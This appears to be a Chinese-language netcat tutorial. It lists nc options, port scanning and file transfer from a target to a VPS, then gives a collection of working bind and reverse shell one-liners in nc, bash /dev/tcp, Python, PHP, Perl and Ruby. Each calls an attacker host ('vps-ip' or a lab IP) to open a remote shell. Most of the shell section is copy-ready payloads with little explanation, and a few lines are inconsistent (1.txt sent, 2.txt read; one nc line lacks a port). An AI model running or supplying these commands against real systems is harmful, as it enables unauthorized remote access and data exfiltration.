kali自带
window 可以官网下载
命令查询
nc -h
命令进行查询-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源地址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用
Banner抓取
远程连接主机
nc -nvv 远程主机地址 端口
端口扫描
# 扫描指定主机端口
nc -v ip地址 端口
端口监听
nc -l -p 9999
-文件传输
在本地VPS主机中传输 输入如下命令开始本地监听,等待连接
nc -lp 333 >1.txt
在目标主机输入如下命令与vps的333端口建立连接,并传输一个名为1.txt的文本文件
nc -vn 192.168.227.137 333 < 1.txt -q 1
传输完成 在VPS中打开2.txt文件可以看到数据已经传送过来了
shell分为两种 一种是正向shell,另一种是反向shell
正向shell:客户端连接服务器,客户端想要获取服务器的shell
反向shell:客户端连接服务器,服务器想要获取客户端的shell
反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发,
输入如下命令监听目标主机上的4444端口
nc -lvp 4444 -e /bin/bash // linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows
输入如下命令,在本地或者VPS主机上连接主机的4444端口,查看当前的IP地址,已经是 192.168.227.137了
nc 192.168.227.137 4444
输入如下命令,在本地或者VPS主机上监听本地9999端口
nc -lvp 9999
在目标主机上输入如下命令,连接VPS主机192.168.227.137的9999端口
nc 192.168.227.137 9999 -e /bin/sh //linux
nc 192.168.227.137 -e c:\windows\system32\cmd.exe //windows
就可以在本地或者VPS主机上看到连接了
执行如下命令,在VPS上监听本地端口2222端口
nc -lvp 2222
在目标主机上执行反弹命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps-IP",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
查看当前IP已经是192.168.227.131,说明已经建立
执行如下命令,在VPS上监听4444端口
nc -lvp 4444
在目标主机上执行反弹命令
bash -i >& /dev/tcp/vps-IP/port 0>&1
执行如下命令,在VPS上监听4444端口
nc -lvp 4444
PHP常用在WEB服务器上,执行如下,进行反弹
php -r '$sock=fsockopen("vps-ip",port);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
执行如下命令,在VPS上监听4444端口
nc -lvp 4444
如果目标主机使用Perl语言,执行如下
perl -e 'use Socket;$i="vps-ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
当目标主机上有ruby环境时,我们可以用ruby来反弹shell
攻击机开启本地监听:
nc -lvvp 4444
目标机主动连接攻击机:
ruby -rsocket -e 'c=TCPSocket.new("vps-ip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("vps-ip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'